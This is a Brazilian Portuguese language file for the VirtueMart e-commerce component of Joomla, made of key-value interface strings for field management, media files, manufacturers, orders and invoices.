COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION="Mostrar em formulário de registro" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING="Mostrar de uma forma de transporte" COM_VIRTUEMART_FIELDMANAGER_SHOW_REGISTRATION="Registro" COM_VIRTUEMART_FIELDMANAGER_SHOW_SHIPPING="Expedição" COM_VIRTUEMART_FIELDMANAGER_TITLE="Campo título " COM_VIRTUEMART_FIELDMANAGER_TYPE="Tipo de campo" COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE="Não é necessário" COM_VIRTUEMART_FIELDS_AGEVERIFICATION="Verificação de idade (Selecionar campos de data)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_ATTRIBUTES="Verificação de idade (Selecionar campos de data) Atributos" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_MINIMUM="Especificar a idade mínima" COM_VIRTUEMART_FIELDS_CAPTCHA="Campo captcha (usando com_securityimages)" COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE="Caixa de verificação (Selecionar múltiplos)" COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE="Caixa de verificação (Selecionar único)" COM_VIRTUEMART_FIELDS_DATE="Data" COM_VIRTUEMART_FIELDS_DELIMITER="--- delimitador fieldset ---" COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE="Drop Down (Selecionar múltiplo)" COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE="Drop Down (Selecionar único)" COM_VIRTUEMART_FIELDS_EDITORAREA="área de Editor de Texto" COM_VIRTUEMART_FIELDS_EMAIL="Endereço de e-mail" COM_VIRTUEMART_FIELDS_NEWSLETTER="Assinatura da Newsletter" COM_VIRTUEMART_FIELDS_RADIOBUTTON="Botão rádio" COM_VIRTUEMART_FIELDS_TEXTAREA="área de texto" COM_VIRTUEMART_FIELDS_TEXTFIELD="Campo de texto" COM_VIRTUEMART_FIELDS_WEBADDRESS="Endereço Web" COM_VIRTUEMART_FIELD_TYPE="Tipo de campo" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="Não foi possível excluir o arquivo." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="Arquivo apagado com sucesso." COM_VIRTUEMART_FILES_FULLIMG_DELETE_FAILURE="Não foi possãvel excluir o arquivo de imagem em." COM_VIRTUEMART_FILES_FULLIMG_DELETE_SUCCESS="Imagem completa excluída com sucesso." COM_VIRTUEMART_FILES_IMAGE_RESIZE_SUCCESS="A imagem em miniatura foi criada com sucesso!" COM_VIRTUEMART_FILES_LIST="Lista de arquivos" COM_VIRTUEMART_FILES_LIST_FILENAME="Nome do arquivo" COM_VIRTUEMART_FILES_LIST_FILETITLE="Título do arquivo" COM_VIRTUEMART_FILES_LIST_FILETYPE="Tipo de arquivo" COM_VIRTUEMART_FILES_LIST_GO_UP="Ir para cima" COM_VIRTUEMART_FILES_LIST_ROLE="Função" COM_VIRTUEMART_FILES_LIST_UP="Para cima" COM_VIRTUEMART_FILES_NOT_FOUND="Desculpe, mas o arquivo solicitado não foi encontrado!" COM_VIRTUEMART_FILES_PATH_ERROR="Por favor, forneça um caminho válido!" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_FAILURE="Não foi possível excluir o Arquivo de Imagem Miniatura (talvez não exista)" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_SUCCESS="Imagem em miniatura excluída com sucesso." COM_VIRTUEMART_FILES_UPLOAD_FAILURE="Arquivo/Imagem Erro ao fazer Upload" COM_VIRTUEMART_FILE_DELETE_ERR="Arquivo não pode ser excluído %s" COM_VIRTUEMART_FILE_DELETE_OK="Arquivo excluído" COM_VIRTUEMART_FILE_SAVED_SUCCESS="Arquivo de mídia salvo com sucesso" COM_VIRTUEMART_FILE_UPLOAD_OK="Arquivo %s carregado" COM_VIRTUEMART_FILTER="Filtrar para" COM_VIRTUEMART_FILTER_BY="Filtrar para" COM_VIRTUEMART_FOLDER_NOT_EXIST="Pasta %s não existe. Você pode criá-la, e colocar as imagens no interior." COM_VIRTUEMART_FORM_EDIT=": [ Edit ]" COM_VIRTUEMART_FORM_GENERAL="Informações Gerais" COM_VIRTUEMART_FORM_NEW=": [ New ]" COM_VIRTUEMART_FOR_SALE="Arquivo está à venda" COM_VIRTUEMART_FOR_VIEW_WITH_PRESELECTED_MANUFACTURER="Para visualizar com fabricante pré-selecionado" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Valor mínimo para frete grátis" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT_TIP="O valor (incluindo impostos) mínimo para envio gratuito (exemplo: 50 significa envio gratuito quando o cliente finalizar uma compra de um valor igual ou superior a R$50,00" COM_VIRTUEMART_FREE_SHIPPING_CART="Entrega é grátis neste pedido" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS="Geralmente impedir conexões https?" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS_TIP="Quando marcado, o cliente é redirecionado para a http URL quando não navegar nas áreas da loja, que são forçados a usar https." COM_VIRTUEMART_GO="Ir" COM_VIRTUEMART_GROUP_NAME="Nome do grupo de permissão" COM_VIRTUEMART_HELP="Ajuda" COM_VIRTUEMART_HELP_ABOUT="VirtueMart é a completa solução Open Source E-Commerce para Joomla!. é um aplicativo, que vem com um componente, mais de 8 Módulos e Mambots / Plugins. Tem as suas raízes em um Script Carrinho de Compras chamado 'phpShop' (Autores: Edikon Corp. & the phpShop community)." COM_VIRTUEMART_HELP_DONATION_BUTTON_ALT="Fazer pagamentos com PayPal – isso é fácil, grátis e seguro!" COM_VIRTUEMART_HELP_DONATION_DESC="Por favor, considere uma pequena doação para o Projeto VirtueMart para nos ajudar a manter o trabalho sobre este componente e criar novos recursos." COM_VIRTUEMART_HELP_HOMEPAGE="Homepage" COM_VIRTUEMART_HELP_LICENSE_DESC="VirtueMart está licenciado sob a {licensename} licença." COM_VIRTUEMART_HELP_PROJECTLEADER="Líder de Projeto" COM_VIRTUEMART_HELP_TEAM="Há uma pequena equipe de desenvolvedores que ajudam na evolução do Script Carrinho de Compras." COM_VIRTUEMART_HELP_TOPICS="Tópicos de ajuda" COM_VIRTUEMART_HELP_YOURVERSION="Sua {product} versão" COM_VIRTUEMART_HI="Oi," COM_VIRTUEMART_HIDE_OUT_OF_STOCK="Ocultar artigos fora de estoque" COM_VIRTUEMART_ID="ID" COM_VIRTUEMART_IMAGE="Imagem" COM_VIRTUEMART_IMAGES="Imagens" COM_VIRTUEMART_INCLUDING_TAX="(incluindo $tax % imposto)" COM_VIRTUEMART_INFO_MSG_VAT_ZERO_LBL="0 (-nenhum-)" COM_VIRTUEMART_INSTALLATION_PLZ_RENEW_CONFIG="Por favor use renovar configuração de arquivo em Ferramentas => Atualizar / Migração" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="A instalação foi concluída comSUCESSO" COM_VIRTUEMART_INSTALLATION_WELCOME="Bem Vindo ao VirtueMart
            A completa solução de e-Commerce carrinho de compras para Joomla" COM_VIRTUEMART_INSTALL_DONATION="Por favor, considere uma pequena doação para nos ajudar a manter o trabalho sobre este componente." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Ir para VirtueMart para mais ajuda" COM_VIRTUEMART_INSTALL_GO_SHOP="Ir para loja" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Instalar dados de exemplo" COM_VIRTUEMART_INTNOTES="Cédulas de Produto Interno" COM_VIRTUEMART_INVOICE="Fatura" COM_VIRTUEMART_INVOICE_CREATE="Criar fatura" COM_VIRTUEMART_INVOICE_DATE="Invoice date" COM_VIRTUEMART_INVOICE_NUMBER_RESERVED="Número da Fatura é reservado pelo Pagamento" COM_VIRTUEMART_INVOICE_PRINT="Imprimir nota fiscal" COM_VIRTUEMART_ITEM="Item" COM_VIRTUEMART_ITEMS_MOVED="Você clssificou um total de %s Itens" COM_VIRTUEMART_ITEMS_NOT_MOVED="item já está bem classificado" COM_VIRTUEMART_ITEM_MOVED_DOWN="Item movido para baixo" COM_VIRTUEMART_ITEM_MOVED_UP="Item movido para cima" COM_VIRTUEMART_ITEM_NEXT="próximo pedido" COM_VIRTUEMART_ITEM_PREVIOUS="visualizar pedido" COM_VIRTUEMART_I_AGREE_TO_TOS="Eu concordo com os termos de serviço" COM_VIRTUEMART_JPLUGINWARNING="Por favor, configure Plugins VirtueMart de Transporte ou Pagamento dentro do componente VirtueMart" ; JAVASCRIPT Declaration, respect the Json format use this fromat "key: 'value',..." DO NOT EDIT /change KEY COM_VIRTUEMART_JS_STRINGS=" editImage: 'editar imagem',select_all_text: 'selecionar todas opções',select_some_options_text :'Selecione Algumas Opções', select_an_option_text:'Selecione uma Opção'" COM_VIRTUEMART_LANG_IS_EMPTY="Sem (%1$s) traduções em %2$s, por favor, preencha os campos sinalizados" COM_VIRTUEMART_LAST_UPDATED="última atualização" COM_VIRTUEMART_LATEST="últimos produtos" COM_VIRTUEMART_LATEST_PRODUCT="últimos Produtos" COM_VIRTUEMART_LEGALINFO_SHORTTEXT="
            Política de Devoluções
            Você pode cancelar este pedido dentro de duas semanas depois de termos o recebido. Você pode devolver novos, itens não abertos a partir de um pedido cancelado dentro de 2 semanas depois de terem sido entregues a você. Itens devem ser devolvidos em sua embalagem original. Para mais informações sobre cancelamento de encomendas e devolução de itens, consulte a Nossa Página de Política de Devolução." COM_VIRTUEMART_LIST="Lista" COM_VIRTUEMART_LISTREVIEWS="Lista de comentários" COM_VIRTUEMART_LIST_ALL_PRODUCTS="Listar todos os produtos" COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT="Listar todos %s filhos" COM_VIRTUEMART_LIST_EMPTY_OPTION="Por favor selecione" COM_VIRTUEMART_LIST_LIMIT="Máximo de produtos por visualização no Front End" COM_VIRTUEMART_LIST_LIMIT_EXPLAIN="O limite de lista de paginação padrão para a visualização no Front End" COM_VIRTUEMART_LIST_ORDER="Lista de pedidos" COM_VIRTUEMART_LOST_PASSWORD="Esqueceu sua senha?" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Notificação de estoque baixo" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_MESSAGE="Existem apenas {product_in_stock} estoque remanescente para o produto {product_name} (SKU {product_sku})." COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_SUBJECT="Estoque mínimo alcançado para %s" COM_VIRTUEMART_LWH_UNIT_DEFAULT="Unidade padrão LWH" COM_VIRTUEMART_LWH_UNIT_DEFAULT_EXPLAIN="Definir a unidade padrão para a sua loja" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s],Pedido confirmado em %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Pedido está pendente em %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Pedido reembolsado por %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Pedido enviado de %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], pedido confirmado pelo %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Pedido cancelado por %1$s, total %2$s" COM_VIRTUEMART_MANAGE_USER_FIELDS="Lista de campos Comprador" COM_VIRTUEMART_MANUFACTURER="Fabricante" COM_VIRTUEMART_MANUFACTURERCATEGORIES="Categoria do fabricante" COM_VIRTUEMART_MANUFACTURER_CATEGORY="Categoria do fabricante" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DESCRIPTION="Descrição de categoria do fabricante" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DETAILS="Detalhes da categoria do fabricante" COM_VIRTUEMART_MANUFACTURER_CATEGORY_LIST="Lista" COM_VIRTUEMART_MANUFACTURER_CATEGORY_NAME="Nome da categoria do fabricante" COM_VIRTUEMART_MANUFACTURER_CATEGORY_S="Categorias do fabricante" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_INFO_LBL="Informações da categoria" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_LBL="Formulário da categoria fabricante" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_NAME="Nome da categoria" COM_VIRTUEMART_MANUFACTURER_CAT_LIST_LBL="Lista de categoria fabricante" COM_VIRTUEMART_MANUFACTURER_CAT_MANUFACTURERS="Fabricantes" COM_VIRTUEMART_MANUFACTURER_CAT_NAME="Nome da categoria" COM_VIRTUEMART_MANUFACTURER_DESCRIPTION="Descrição" COM_VIRTUEMART_MANUFACTURER_DETAILS="Detalhes do fabricante" COM_VIRTUEMART_MANUFACTURER_EMAIL="E-mail do fabricante" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Selecione o fabricante" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Cria um link para exibir o Fabricante selecionado" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Selecione o fabricante" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE_DESC="Cria um link para o Fabricante" COM_VIRTUEMART_MANUFACTURER_FORM_INFO_LBL="Informações do fabricante" COM_VIRTUEMART_MANUFACTURER_IMAGE="Imagem do Fabricante" COM_VIRTUEMART_MANUFACTURER_LIST_ADMIN="Admin" COM_VIRTUEMART_MANUFACTURER_MOD="Fabricantes" COM_VIRTUEMART_MANUFACTURER_NAME="Nome do Fabricante" COM_VIRTUEMART_MANUFACTURER_S="Fabricantes" COM_VIRTUEMART_MANUFACTURER_SHOW="Mostrar todos os fabricantes nesta categoria" COM_VIRTUEMART_MANUFACTURER_URL="URL do fabricante" COM_VIRTUEMART_MANUFACTURER_URL_TIP="A URL do fabricante precisa começar com http://" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Exibir lista de fabricantes do VirtueMart" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="Layout padrão do Fabricante VirtueMart" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Exibir Detalhes do Layout do Fabricante VirtueMart" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="Detalhes do Layout do Fabricante VirtueMart" COM_VIRTUEMART_MEDIA="Arquivo de mídia" COM_VIRTUEMART_MEDIA_CHOOSE_TYPE="Escolha o tipo de mídia para a mídia com o nome de arquivo %1$s" COM_VIRTUEMART_MEDIA_MANAGER="Gerenciador de arquivo de mídia" COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE="Arquivos de mídia devem ter um título" COM_VIRTUEMART_MEDIA_MUST_HAVE_URL="Arquivos de mídia devem conter uma url" COM_VIRTUEMART_MEDIA_NO_PATH_TYPE="Tipo de mídia %1$s não tem URL relativa definida, Por favor configure isto primeiro e retorne aqui." COM_VIRTUEMART_MEDIA_S="Arquivos de mídia" COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE="Arquivos de mídia %s devem ter um tipo mime" COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP="Arquivo Bmp %s não é uma boa escolha para Internet" COM_VIRTUEMART_MENU="Menu" COM_VIRTUEMART_MESSAGE_PROMPT="Digite sua Mensagem" COM_VIRTUEMART_METAAUTHOR="Autor" COM_VIRTUEMART_METADESC="Meta de descrição do produto" COM_VIRTUEMART_METAKEY="Meta chave de produto" COM_VIRTUEMART_METAROBOT="Meta robô de produto" COM_VIRTUEMART_META_AUTHOR="Autor" COM_VIRTUEMART_META_DESC="Descrição de Meta" COM_VIRTUEMART_META_INFORMATION="Informação de Meta" COM_VIRTUEMART_META_KEYWORDS="Meta de palavras-chave" COM_VIRTUEMART_META_ROBOTS="Meta Robôs" COM_VIRTUEMART_MF_CATEGORY_NAME="Nome da categoria do fabricante" COM_VIRTUEMART_MF_NAME="Nome do fabricante" COM_VIRTUEMART_MIGRATE="Iniciar migração" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE="Layout padrão de categoria (página do navegador) sem .php" COM_VIRTUEMART_MIGRATION_DCAT_FLY="Layout padrão de categoria de produto (fly page) sem .php" COM_VIRTUEMART_MIGRATION_REWRITE_ORDER_NUMBER="Reconfigurar números dos pedidos" COM_VIRTUEMART_MIGRATION_STOREOWNERID="Escreva aqui o ID de novo lojista" COM_VIRTUEMART_MIGRATION_TAB="Migração" COM_VIRTUEMART_MIGRATION_UPDATE="Ferramentas e migração" COM_VIRTUEMART_MIGRATION_USER_ORDER_ID ="Usuar o ID do pedido do vm1 como número do pedido do vm2" COM_VIRTUEMART_MINICART_ADDED="Adicionado ao carrinho" COM_VIRTUEMART_MINICART_DESC="Exibir mini carrinho Virtuemart" COM_VIRTUEMART_MINICART_ERROR="Erro no Mini carrinho" COM_VIRTUEMART_MODIFIED_ON="Data de modificação do produto" COM_VIRTUEMART_MODULES_FORCE_HTTPS="áreas da Loja que devem utilizar https" COM_VIRTUEMART_MODULES_FORCE_HTTPS_TIP="Aqui você pode usar uma lista separada por vírgulas de módulos, núcleo e loja (Veja 'Admin' ='> 'List Modules'), o qual será uso de conexões https." COM_VIRTUEMART_MODULE_ADDED="O módulo foi adicionado." COM_VIRTUEMART_MODULE_NAME="Nome" COM_VIRTUEMART_MONTH="Mês" COM_VIRTUEMART_MONTH_S="Meses" COM_VIRTUEMART_MORE="Mais..." COM_VIRTUEMART_MORE_CATEGORIES="Mais categorias" COM_VIRTUEMART_MORE_IMAGES="Visualizar mais imagens" COM_VIRTUEMART_MOVE_DOWN="Mover para baixo" COM_VIRTUEMART_MOVE_UP="Mover para cima" COM_VIRTUEMART_MULTISELECT="Selecionar Múltiplos" COM_VIRTUEMART_NAME="Nome" COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS="O nome no campo de usuário contém caracteres inválidos" COM_VIRTUEMART_NEVER="-Nunca-" COM_VIRTUEMART_NEW_ITEMS_PLACE="Novos itens padrão para o último lugar. Ordenação pode ser alterada após este item ser salvo." COM_VIRTUEMART_NEW_ORDERING_SAVED="Nova ordem salva" COM_VIRTUEMART_NEW_USER_MESSAGE="Olá %s, um novo usuário se registrou no %s." COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT="Detalhes do novo usuário" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="Há um novo usuário %1$s registrado em sua loja" COM_VIRTUEMART_NEW_VENDOR="Novo fornecedor" COM_VIRTUEMART_NO="Não" COM_VIRTUEMART_NONE="Nenhum" COM_VIRTUEMART_NON_UNIQUE="Erro, não pode salvar %s se não único %s" COM_VIRTUEMART_NON_UNIQUE_WARN="%s não foi único na tabela %s, adicionado número aleatório: %s" COM_VIRTUEMART_NOTIFIED="Notificado" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="Não foi possível enviar uma mensagem para " COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Mensagem enviada para" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA="Não foi possível salvar dados de informações de endereço do usuário VirtueMart" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="Não foi possível salvar os dados do usuário VirtueMart" COM_VIRTUEMART_NOT_AUTH="Você não está autorizado a ver este recurso." COM_VIRTUEMART_NO_ACCOUNT="Sem conta ainda?" COM_VIRTUEMART_NO_CUSTOMER="Você não é um comprador registrado ainda. Por favor, forneça suas informaéões de faturamento." COM_VIRTUEMART_NO_DESCRIPTION_FOUND="Nenhuma descrição encontrada" COM_VIRTUEMART_NO_FILES_FOUND="Nenhum arquivo encontrado" COM_VIRTUEMART_NO_IMAGE_FOUND="Nenhuma imagem encontrada" COM_VIRTUEMART_NO_IMAGE_SET="Nenhuma imagem definida" COM_VIRTUEMART_NO_ITEMS_SELECTED="Nenhum item selecionado" COM_VIRTUEMART_NO_MEDIA="Desculpe, isto não é um arquivo de mídia válido" COM_VIRTUEMART_NO_MEDIA_FILES="Nenhuma imagem encontrada" COM_VIRTUEMART_NO_MORE_ORDERS="Não há mais pedidos" COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED="Não há nenhum plugin de pagamento instalado, acesse http://dev.VirtueMart.net/projects/VirtueMart/files e faça download/instale o último mod_virtuemart_allinone" COM_VIRTUEMART_NO_PRICE_SET="Não foi indicado o Preço" COM_VIRTUEMART_NO_RESTRICTION="Nenhuma restrição" COM_VIRTUEMART_NO_REVIEWS="Ainda não há comentários para este produto." COM_VIRTUEMART_NO_SEARCH_RESULT="Sua pesquisa encontrou 0 resultados.
            " COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED="Não há plugins de envio instalados, por favor, vá para http://dev.VirtueMart.net/projects/VirtueMart/files e baixe/instale o último pacote com_virtuemart_aio" COM_VIRTUEMART_NO_VALID_DOWNLOADROOT_SET="Diretório de Download não definido" COM_VIRTUEMART_OFFLINE_MODE="MODO OFFLINE" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="Por favor, use o registro para obter as vantagens de um usuário registrado, então salvar para usar verificação anônima" COM_VIRTUEMART_OPERATION_CANCELED="Operação cancelada!!" COM_VIRTUEMART_ORDER="Pedido" COM_VIRTUEMART_ORDERBY="Plassificar por" COM_VIRTUEMART_ORDERING="Ordenação" COM_VIRTUEMART_ORDERS="Pedido" COM_VIRTUEMART_ORDERSTATUS="Status do pedido" COM_VIRTUEMART_ORDERSTATUS_DETAILS="Detalhes do Status do pedido" COM_VIRTUEMART_ORDERSTATUS_S="Status do pedido" COM_VIRTUEMART_ORDERS_LIST="Lista de pedidos" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="Lista de Encomendas da Loja" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="Lista de Encomendas da Loja" COM_VIRTUEMART_ORDER_AMOUNT="Quantidade" COM_VIRTUEMART_ORDER_CDATE="Data do pedido" COM_VIRTUEMART_ORDER_CHANGE_UPD_BILL="Alterar endereço para fatura" COM_VIRTUEMART_ORDER_CHANGE_UPD_SHIP="Alterar endereço para entrega" COM_VIRTUEMART_ORDER_DELETE_ERR_ID="Não é possível excluir, sem o ID do pedido." COM_VIRTUEMART_ORDER_DELETE_ITEM_JS="Você tem certeza de que deseja excluir este Item?" COM_VIRTUEMART_ORDER_EDIT="Alterar detalhes do pedido" COM_VIRTUEMART_ORDER_EDIT_ACTIONS="Ações" COM_VIRTUEMART_ORDER_EDIT_ADD="Adicionar" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT="Selecionar um produto" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT_BY_SKU="Selecionar SKU" COM_VIRTUEMART_ORDER_EDIT_EDIT_ORDER="Alterar pedido" COM_VIRTUEMART_ORDER_EDIT_ERROR_QUANTITY_MUST_BE_HIGHER_THAN_0="Quantidade deve ser maior que 0." COM_VIRTUEMART_ORDER_EDIT_ORDER_ID="Editar ID do pedido" COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER="Editar número do pedido" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_ADDED="O produto foi adicionado ao pedido" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_DELETED="O produto foi removido deste pedido" COM_VIRTUEMART_ORDER_EDIT_QUANTITY_UPDATED="Quantidade foi atualizada" COM_VIRTUEMART_ORDER_EDIT_RETURN_PARENTS="Voltar para o produto pai" COM_VIRTUEMART_ORDER_EDIT_SOMETHING_HAS_CHANGED=" Foi alterado" COM_VIRTUEMART_ORDER_EDIT_USER="Edita usuário" COM_VIRTUEMART_ORDER_EXPORT="Exportar módulos" COM_VIRTUEMART_ORDER_EXPORT_CLASS_NAME="Exportar módulo e nome da classe" COM_VIRTUEMART_ORDER_EXPORT_CLASS_NAME_TIP="(e.g. ps_olsi)" COM_VIRTUEMART_ORDER_EXPORT_CONFIG="Configuração de exportação de pedido" COM_VIRTUEMART_ORDER_EXPORT_CONFIG_TIP="Aqui você pode configurar sua exportação. Tem que ser código PHP válido!" COM_VIRTUEMART_ORDER_HISTORY="Histórico do pedido" COM_VIRTUEMART_ORDER_HISTORY_COMMENT="Comentário" COM_VIRTUEMART_ORDER_HISTORY_COMMENT_EMAIL="Comentários sobre seu pedido" COM_VIRTUEMART_ORDER_HISTORY_CUSTOMER_NOTIFIED="Comprador notificado?" COM_VIRTUEMART_ORDER_HISTORY_DATE_ADDED="Data adicionada" COM_VIRTUEMART_ORDER_HISTORY_INCLUDE_COMMENT="Incluir este comentário?" COM_VIRTUEMART_ORDER_ID="ID do pedido" COM_VIRTUEMART_ORDER_ITEM="Itens do pedido" COM_VIRTUEMART_ORDER_LABEL_NEVERGENERATED="Rótulo não foi gerado ainda" COM_VIRTUEMART_ORDER_LABEL_NOTFOUND="Registro de pedido não foi encontrado no rótulo de envio de banco de dados." COM_VIRTUEMART_ORDER_LABEL_ORDERID_NOTVALID="Por favor, forneça um ID de Pedido válido, numérico , não '{order_id}'" COM_VIRTUEMART_ORDER_LABEL_SHIPPINGLABEL_LBL="Rótulo de frete" COM_VIRTUEMART_ORDER_LABEL_SIGNATURENEVER="Assinatura nunca foi recuperada" COM_VIRTUEMART_ORDER_LINK="Siga este link para ver os detalhes do pedido." COM_VIRTUEMART_ORDER_LIST_ID="ID do pedido" COM_VIRTUEMART_ORDER_LIST_LBL="Lista de pedido" COM_VIRTUEMART_ORDER_LIST_MDATE="última modificação" COM_VIRTUEMART_ORDER_LIST_NOTIFY="Notificar comprador?" COM_VIRTUEMART_ORDER_LIST_NOTIFY_ERR="Por favor, altere o status do pedido primeiro!" COM_VIRTUEMART_ORDER_LIST_NUMBER="Número do pedido" COM_VIRTUEMART_ORDER_LIST_PRINT_LABEL="Imprimir etiqueta" COM_VIRTUEMART_ORDER_LIST_SEARCH_BY_DATE="Buscar por data" COM_VIRTUEMART_ORDER_LIST_STATUS="Status" COM_VIRTUEMART_ORDER_LIST_TRACK="Caminho" COM_VIRTUEMART_ORDER_LIST_VOID_LABEL="Etiqueta vazia" COM_VIRTUEMART_ORDER_MOD="Pedidos e compradores" COM_VIRTUEMART_ORDER_NOTFOUND="Pedido não encontrado! Pode ter sido excluído." COM_VIRTUEMART_ORDER_NOT_UPDATED="Nenhuma alteração, favor alterar o status nas ordens para atualizar!" COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY="{X} pedidos têm relatado erros" COM_VIRTUEMART_ORDER_NUMBER="Número do pedido" COM_VIRTUEMART_ORDER_PAYMENT_CCV_CODE="Código CVV" COM_VIRTUEMART_ORDER_PRINT_ACCOUNT_NAME="Nome da conta" COM_VIRTUEMART_ORDER_PRINT_ACCOUNT_NUMBER="Número da conta" COM_VIRTUEMART_ORDER_PRINT_ADDRESS_1="Endereço 1" COM_VIRTUEMART_ORDER_PRINT_ADDRESS_2="Endereço 2" COM_VIRTUEMART_ORDER_PRINT_BILL_TO_LBL="Faturar para" COM_VIRTUEMART_ORDER_PRINT_CITY="Cidade" COM_VIRTUEMART_ORDER_PRINT_COMPANY="Empresa" COM_VIRTUEMART_ORDER_PRINT_COUNTRY="País" COM_VIRTUEMART_ORDER_PRINT_CUSTOMER_NOTE="Notas do comprador" COM_VIRTUEMART_ORDER_PRINT_CUST_BILLING_LBL="Informações da fatura" COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL="Informações do comprador" COM_VIRTUEMART_ORDER_PRINT_CUST_SHIPPING_LBL="Informações sobre Envio" COM_VIRTUEMART_ORDER_PRINT_EMAIL="E-mail" COM_VIRTUEMART_ORDER_PRINT_EXPIRE_DATE="Data de expiração" COM_VIRTUEMART_ORDER_PRINT_FAX="Fax" COM_VIRTUEMART_ORDER_PRINT_ITEMEDIT_LBL="Editar item do pedido" COM_VIRTUEMART_ORDER_PRINT_ITEM_STATUS="Status dos produtos solicitados" COM_VIRTUEMART_ORDER_PRINT_NAME="Nome" COM_VIRTUEMART_ORDER_PRINT_PAYMENT="Taxa de pagamento" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL="Método de pagamento" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_TAX="Taxa de pagamento" COM_VIRTUEMART_ORDER_PRINT_PHONE="Telefone" COM_VIRTUEMART_ORDER_PRINT_PO_DATE="Data do pedido" COM_VIRTUEMART_ORDER_PRINT_PO_ID="ID do pedido" COM_VIRTUEMART_ORDER_PRINT_PO_IPADDRESS="Endereço IP" COM_VIRTUEMART_ORDER_PRINT_PO_LBL="Pedido de compra" COM_VIRTUEMART_ORDER_PRINT_PO_NUMBER="Número do pedido" COM_VIRTUEMART_ORDER_PRINT_PO_PASS="Secret Key" COM_VIRTUEMART_ORDER_PRINT_PO_STATUS="Status do pedido" COM_VIRTUEMART_ORDER_PRINT_PRICE="Preço" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_STATUS="Status do produto" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_TAX="Imposto" COM_VIRTUEMART_ORDER_PRINT_QTY="Quantidade" COM_VIRTUEMART_ORDER_PRINT_QUANTITY="Quantidade" COM_VIRTUEMART_ORDER_PRINT_SHIPMENT_LBL="Envio" COM_VIRTUEMART_ORDER_PRINT_SHIPPING="Taxa de transporte e manuseio" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_MODE_LBL="Modo de envio" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_PRICE_LBL="Preço de envio" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_TAX="Taxa de envio" COM_VIRTUEMART_ORDER_PRINT_SHIP_TO_LBL="Enviar para" COM_VIRTUEMART_ORDER_PRINT_SKU="SKU" COM_VIRTUEMART_ORDER_PRINT_STATE="Estado / Província / Região" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL="SubTotal" 